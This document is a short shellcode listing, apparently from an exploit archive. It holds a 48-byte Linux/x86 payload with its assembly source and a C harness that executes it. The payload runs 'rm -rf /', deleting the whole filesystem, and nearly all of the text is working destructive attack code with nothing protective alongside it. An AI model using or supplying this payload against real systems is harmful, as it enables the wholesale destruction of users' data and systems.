48 byte shellcode for Linux/x86 that performs execve("rm -rf /").
24327527c420ed9ed8d4ba6439251e16b92700e61417c06758f7a081b3a51154
/* By Kris Katterjohn 8/31/2006
*
* 48 byte shellcode to execve("rm -rf /") for Linux/x86
*
*
*
* section .text
*
* global _start
*
* _start:
*
* ; execve("/bin/rm", { "/bin/rm", "-r", "-f", "/", NULL }, NULL)
*
* push byte 11
* pop eax
* xor esi, esi
* push esi
* push byte 0x2f
* mov edi, esp
* push esi
* push word 0x662d
* mov edx, esp
* push esi
* push word 0x722d
* mov ecx, esp
* push esi
* push 0x6d722f2f
* push 0x6e69622f
* mov ebx, esp
* push esi
* push edi
* push edx
* push ecx
* push ebx
* mov ecx, esp
* xor edx, edx
* int 0x80
*/
main()
{
char shellcode[] =
"\x6a\x0b\x58\x31\xf6\x56\x6a\x2f\x89\xe7\x56\x66\x68\x2d\x66"
"\x89\xe2\x56\x66\x68\x2d\x72\x89\xe1\x56\x68\x2f\x2f\x72\x6d"
"\x68\x2f\x62\x69\x6e\x89\xe3\x56\x57\x52\x51\x53\x89\xe1\x31"
"\xd2\xcd\x80";
(*(void (*)()) shellcode)();
}